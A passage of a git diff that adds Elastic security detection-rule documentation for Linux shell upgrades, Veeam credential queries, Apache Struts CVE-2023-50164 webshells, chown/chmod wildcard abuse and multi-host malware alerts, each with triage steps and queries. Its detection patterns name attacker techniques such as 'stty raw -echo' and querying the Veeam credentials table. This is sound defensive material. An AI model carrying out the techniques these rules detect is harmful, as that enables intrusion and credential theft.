may exploit wildcard characters in these commands to escalate privileges or access sensitive data by executing unintended operations. The detection rule identifies suspicious use of these commands with recursive flags and wildcard references, signaling potential misuse aimed at privilege escalation or unauthorized data access. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "chown" or "chmod" command with the "-R" flag and wildcard usage in the arguments, as indicated by the query fields process.name, process.args, and event.action. +- Examine the user account associated with the process execution to determine if it has the necessary permissions to perform such operations and assess if the account has been compromised. +- Check the command execution history and related logs to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern or unauthorized access attempts. +- Investigate the source and destination of the command execution by analyzing network logs and connections to determine if the activity originated from a known or unknown IP address or host. +- Correlate this event with other alerts or anomalies in the system to identify potential patterns or coordinated attacks, focusing on privilege escalation or credential access attempts as suggested by the rule's tags and threat information. + + +*False positive analysis* + + +- Routine administrative tasks using chown or chmod with recursive flags may trigger the rule. To manage this, identify and whitelist specific scripts or users that regularly perform these tasks without security risks. +- Automated system maintenance processes that involve changing file permissions or ownership across directories can be mistaken for malicious activity. Exclude these processes by specifying their command patterns or associated user accounts in the monitoring system. +- Backup operations that involve copying and setting permissions on large sets of files might be flagged. To prevent this, configure exceptions for known backup tools or scripts that use these commands in a controlled manner. +- Development environments where developers frequently change file permissions for testing purposes can generate false positives. Implement user-based exceptions for development teams to reduce unnecessary alerts. +- System updates or package installations that modify file permissions as part of their normal operation may be detected. Create exceptions for trusted package managers or update processes to avoid false alarms. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as running the `chown` or `chmod` commands with wildcard injections to halt potential privilege escalation activities. +- Conduct a thorough review of system logs and command histories to identify any unauthorized changes made to file permissions or ownership and revert them to their original state. +- Reset credentials and review access permissions for users on the affected system to ensure no unauthorized access persists. +- Implement file integrity monitoring to detect unauthorized changes to critical files and directories in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update and patch the affected system to address any vulnerabilities that may have been exploited during the attack, ensuring all security updates are applied. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("chown", "chmod") and process.args == "-R" and process.args : "--reference=*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-upgrade-of-non-interactive-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-upgrade-of-non-interactive-shell.asciidoc new file mode 100644 index 0000000000..b037eeea4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-upgrade-of-non-interactive-shell.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-potential-upgrade-of-non-interactive-shell]] +=== Potential Upgrade of Non-interactive Shell + +Identifies when a non-interactive terminal (tty) is being upgraded to a fully interactive shell. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host, in order to obtain a more stable connection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Upgrade of Non-interactive Shell* + + +In Linux environments, attackers often seek to enhance a basic reverse shell to a fully interactive shell to gain a more robust foothold. This involves using tools like `stty` or `script` to manipulate terminal settings, enabling features like command history and job control. The detection rule identifies such activities by monitoring specific process executions and arguments, flagging potential misuse indicative of an upgrade attempt. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of `stty` or `script` commands with the specific arguments outlined in the detection rule, such as `stty raw -echo` or `script -qc /dev/null`. +- Examine the parent process of the flagged `stty` or `script` command to determine how the shell was initially spawned and identify any potentially malicious scripts or binaries. +- Check the user account associated with the process execution to assess if it aligns with expected user behavior or if it indicates potential compromise. +- Investigate the network connections associated with the host at the time of the alert to identify any suspicious remote connections that could be indicative of a reverse shell. +- Review historical process execution and login records for the user and host to identify any patterns of suspicious activity or previous attempts to establish a reverse shell. + + +*False positive analysis* + + +- System administrators or legitimate users may use stty or script commands for routine maintenance or troubleshooting, which can trigger the rule. To manage this, create exceptions for known user accounts or specific maintenance windows. +- Automated scripts or cron jobs that utilize stty or script for legitimate purposes might be flagged. Review these scripts and whitelist them by process hash or command line pattern to prevent false positives. +- Development environments where developers frequently use stty or script for testing purposes can generate alerts. Consider excluding specific development machines or user groups from the rule to reduce noise. +- Monitoring tools or security solutions that simulate shell upgrades for testing or auditing purposes may inadvertently trigger the rule. Identify these tools and add them to an exception list based on their process name or execution path. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `stty` or `script` with the flagged arguments, to disrupt the attacker's attempt to upgrade the shell. +- Conduct a thorough review of the affected system's logs and process history to identify any additional malicious activities or compromised accounts. +- Reset credentials for any user accounts that were active during the time of the alert to prevent unauthorized access using potentially compromised credentials. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited by the attacker. +- Enhance monitoring and logging on the affected host and similar systems to detect any future attempts to upgrade non-interactive shells or other suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name == "stty" and process.args == "raw" and process.args == "-echo" and process.args_count >= 3) or + ( + process.name == "script" and process.args in ("-qc", "-c") and process.args == "/dev/null" and process.args_count == 4 + ) +) and +not process.parent.command_line like ("linode-longview", "*bootstrap*", "*homebrew*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-veeam-credential-access-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-veeam-credential-access-command.asciidoc new file mode 100644 index 0000000000..02b2ebf8df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-veeam-credential-access-command.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-potential-veeam-credential-access-command]] +=== Potential Veeam Credential Access Command + +Identifies commands that can access and decrypt Veeam credentials stored in MSSQL databases. Attackers can use Veeam Credentials to target backups as part of destructive operations such as Ransomware attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/12/13/diavol-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Veeam Credential Access Command* + + +Veeam credentials stored in MSSQL databases are crucial for managing backup operations. Attackers may exploit tools like `sqlcmd.exe` or PowerShell commands to access and decrypt these credentials, potentially leading to data breaches or ransomware attacks. The detection rule identifies suspicious command executions targeting Veeam credentials, focusing on specific processes and arguments, to alert analysts of potential credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of sqlcmd.exe or PowerShell commands like Invoke-Sqlcmd, focusing on the process.name and process.args fields. +- Examine the command line arguments for any references to [VeeamBackup].[dbo].[Credentials] to determine if there was an attempt to access or decrypt Veeam credentials. +- Check the user account associated with the process execution to assess if it is a legitimate user or potentially compromised. +- Investigate the source host for any signs of unauthorized access or suspicious activity, such as unusual login times or failed login attempts. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to identify any related malicious activities or patterns. +- Assess the risk and impact by determining if any Veeam credentials were successfully accessed or exfiltrated, and evaluate the potential for data breaches or ransomware attacks. + + +*False positive analysis* + + +- Routine database maintenance tasks may trigger the rule if they involve accessing Veeam credentials for legitimate purposes. To manage this, identify and document regular maintenance schedules and exclude these activities from triggering alerts. +- Automated scripts used for backup verification or testing might use similar commands. Review and whitelist these scripts by their process names or specific arguments to prevent unnecessary alerts. +- Internal security audits or compliance checks that involve credential access could be mistaken for malicious activity. Coordinate with audit teams to schedule these activities and create exceptions for known audit processes. +- Development or testing environments where Veeam credentials are accessed for non-production purposes can generate false positives. Implement environment-specific exclusions to differentiate between production and non-production activities. +- Legitimate use of PowerShell commands for database management by authorized personnel may be flagged. Maintain a list of authorized users and their typical command patterns to refine the detection rule and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the alert, such as `sqlcmd.exe` or PowerShell commands accessing Veeam credentials. +- Change all Veeam-related credentials stored in the MSSQL database to prevent further unauthorized access using compromised credentials. +- Conduct a thorough review of recent backup operations and logs to identify any unauthorized access or modifications. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring on systems storing Veeam credentials to detect similar suspicious activities in the future. +- Review and update access controls and permissions for MSSQL databases to ensure only authorized personnel have access to Veeam credentials. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "sqlcmd.exe" or ?process.pe.original_file_name : "sqlcmd.exe") or + process.args : ("Invoke-Sqlcmd", "Invoke-SqlExecute", "Invoke-DbaQuery", "Invoke-SqlQuery") + ) and + process.args : "*[VeeamBackup].[dbo].[Credentials]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc new file mode 100644 index 0000000000..a6aef564ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation]] +=== Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation + +Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2023-50164 +* https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html +* https://github.com/snyk-labs/CVE-2023-50164-POC + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* Domain: Network +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Data Source: Network Packet Capture +* Service: Apache HTTP Server +* Vuln: CVE-2023-50164 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation* + + +CVE-2023-50164 is a critical path traversal vulnerability in Apache Struts 2 that allows attackers to manipulate file upload parameters and write malicious files to arbitrary locations on the web server. This vulnerability affects the file upload feature and enables attackers to bypass security controls, upload JSP-based web shells, and achieve remote code execution. This detection rule identifies the complete attack chain by correlating suspicious file upload requests to Struts endpoints with the subsequent creation of JSP files in web-accessible directories, indicating successful exploitation. + + +*Possible investigation steps* + + +- Review the source IP address of the HTTP POST request to determine if it originates from a known malicious source, VPN/proxy service, or unexpected geographic location that does not align with legitimate application usage patterns. +- Examine the complete HTTP request details including headers, user agent string, and the full request body content to identify indicators of exploit code, path traversal attempts, or malicious payloads embedded in the multipart form data. +- Investigate the created JSP file by examining its contents, file name, creation timestamp, and file permissions to determine if it contains web shell code, command execution capabilities, or other malicious functionality. +- Check for any subsequent process execution, network connections, or file system activities originating from the Java process after the JSP file creation, which may indicate that the web shell has been accessed and used by the attacker. +- Review web server access logs for requests to the newly created JSP file path to identify if the attacker has attempted to access or execute the web shell, and capture any command execution or data exfiltration attempts. +- Examine the affected Struts application logs and Tomcat catalina logs for additional context about the file upload request, error messages, or anomalous behavior that occurred during the exploitation attempt. +- Identify the version of Apache Struts 2 running on the affected server to confirm if it is vulnerable to CVE-2023-50164 (versions prior to 2.5.33 or 6.3.0.2 are affected). +- Search for additional suspicious file creations, modifications, or deletions in the webapps directories that may indicate the attacker attempted multiple exploitation attempts or deployed additional persistence mechanisms. + + +*False positive analysis* + + +- Legitimate application deployments using multipart form uploads to Struts endpoints followed by JSP file creation are uncommon but possible in custom deployment workflows. Review the source IP, user identity, and timing against known deployment schedules and authorized deployment systems. +- Automated testing frameworks or security scanning tools that test file upload functionality may trigger this rule if they upload files to Struts endpoints. Identify and exclude known security testing tools or authorized penetration testing activities based on source IP or user agent patterns. +- Development or staging environments where developers frequently test file upload features may generate alerts. Consider creating exceptions for non-production environments or restricting the rule to production systems only. +- CI/CD pipelines that deploy applications via multipart form uploads could potentially match this pattern, though this is rare. Review the deployment process and create exceptions for known automated deployment systems if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected web server from the network to prevent further exploitation, lateral movement, or data exfiltration by the attacker. +- Identify and delete the malicious JSP web shell file from the web server, ensuring you preserve a copy for forensic analysis and evidence collection. +- Terminate any active web shell sessions by restarting the Java application server process and reviewing all active network connections for suspicious activity. +- Review web server access logs to identify all IP addresses that accessed the web shell and block those IP addresses at the network perimeter to prevent re-exploitation. +- Conduct a comprehensive scan of the affected server for additional web shells, backdoors, persistence mechanisms, or signs of lateral movement to other systems in the environment. +- Patch the Apache Struts 2 installation to version 2.5.33, 6.3.0.2, or higher to remediate the CVE-2023-50164 vulnerability and prevent future exploitation attempts. +- Review and harden file upload configurations in Struts applications, implement strict input validation, restrict file upload locations, and consider implementing web application firewall (WAF) rules to detect and block path traversal attempts. +- Reset credentials for any accounts or services running on the compromised server, as the attacker may have captured sensitive information or credentials through the web shell. +- Escalate the incident to the security operations center (SOC) and incident response team for comprehensive investigation, threat hunting, and to determine if additional systems were compromised. +- Conduct a post-incident review to identify gaps in detection, response, and vulnerability management processes, and implement improvements to prevent similar incidents in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis). + + +*Network Packet Capture Integration Setup* + + +**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by agent.id with maxspan=10s + [network where data_stream.dataset == "network_traffic.http" and + http.request.method == "POST" and + http.request.body.content like "*WebKitFormBoundary*" and + url.path like~ "*upload*.action"] + [file where data_stream.dataset == "endpoint.events.file" and + host.os.type == "linux" and + event.action == "creation" and + process.name == "java" and + file.extension == "jsp" and + file.path like "*/webapps/*" and + not file.path like "*/WEB-INF/*" and + not file.path like "*/META-INF/*" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-widespread-malware-infection-across-multiple-hosts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-widespread-malware-infection-across-multiple-hosts.asciidoc new file mode 100644 index 0000000000..f8eb8fbf78 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-widespread-malware-infection-across-multiple-hosts.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-potential-widespread-malware-infection-across-multiple-hosts]] +=== Potential Widespread Malware Infection Across Multiple Hosts + +This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a widespread malware infection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara/rules + +*Tags*: + +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Threat Detection +* Tactic: Execution +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Widespread Malware Infection Across Multiple Hosts* + + +Endpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific rule.name and event.code that triggered the alert, focusing on those with a high count of distinct host.id values. +- Correlate the identified rule.name with known malware signatures or recent threat intelligence reports to understand the potential impact and behavior of the malware. +- Examine the affected host.id entries to determine if there are any commonalities, such as shared network segments, user accounts, or software versions, that could indicate the initial infection vector. +- Investigate the timeline of events for each affected host to identify any suspicious activities or anomalies preceding the alert, such as unusual file downloads or execution of unknown processes. +- Check for any additional alerts or logs related to the same host.id entries to assess if there are other indicators of compromise or related malicious activities. +- Coordinate with IT and security teams to isolate affected hosts if necessary, and initiate containment and remediation procedures based on the findings. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger malware signatures, especially if they involve new or uncommon software. Users can create exceptions for known software update processes to prevent these alerts from being flagged as potential threats. +- Security testing tools or penetration testing activities might mimic malware behavior, leading to false positives. Analysts should coordinate with IT and security teams to whitelist these activities during scheduled tests. +- Custom scripts or administrative tools that perform automated tasks across multiple hosts can be mistaken for malicious activity. Identifying and excluding these scripts from the rule can reduce unnecessary alerts. +- Frequent use of remote management tools that execute scripts or commands on multiple hosts may trigger alerts. Users should ensure these tools are recognized and excluded from the rule to avoid false positives. +- Known benign applications that use shellcode or memory manipulation techniques for legitimate purposes should be reviewed and added to an exception list to prevent them from being flagged. + + +*Response and remediation* + + +- Isolate affected hosts immediately to prevent further spread of the malware across the network. This can be done by disconnecting them from the network or using network segmentation techniques. +- Conduct a thorough scan of the isolated hosts using updated antivirus or endpoint detection and response (EDR) tools to identify and remove the malicious files or processes associated with the detected signatures. +- Analyze the identified malware to understand its behavior and entry points. This will help in determining if additional hosts may be compromised and require similar remediation actions. +- Apply security patches and updates to all affected systems to close any vulnerabilities that the malware may have exploited. +- Restore affected systems from clean backups if the malware has caused significant damage or if the integrity of the system cannot be assured after cleaning. +- Monitor network traffic and endpoint activities closely for any signs of persistence or re-infection, using enhanced detection rules and updated threat intelligence feeds. +- Escalate the incident to the appropriate internal or external cybersecurity teams if the infection appears to be part of a larger coordinated attack, ensuring that all relevant data and findings are shared for further investigation and response. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.alerts-* +| where event.code in ("malicious_file", "memory_signature", "shellcode_thread") and rule.name is not null +| keep host.id, rule.name, event.code +| stats Esql.host_id_count_distinct = count_distinct(host.id) by rule.name, event.code +| where Esql.host_id_count_distinct >= 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-windows-error-manager-masquerading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-windows-error-manager-masquerading.asciidoc new file mode 100644 index 0000000000..cc2ecdbad2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-windows-error-manager-masquerading.asciidoc @@ 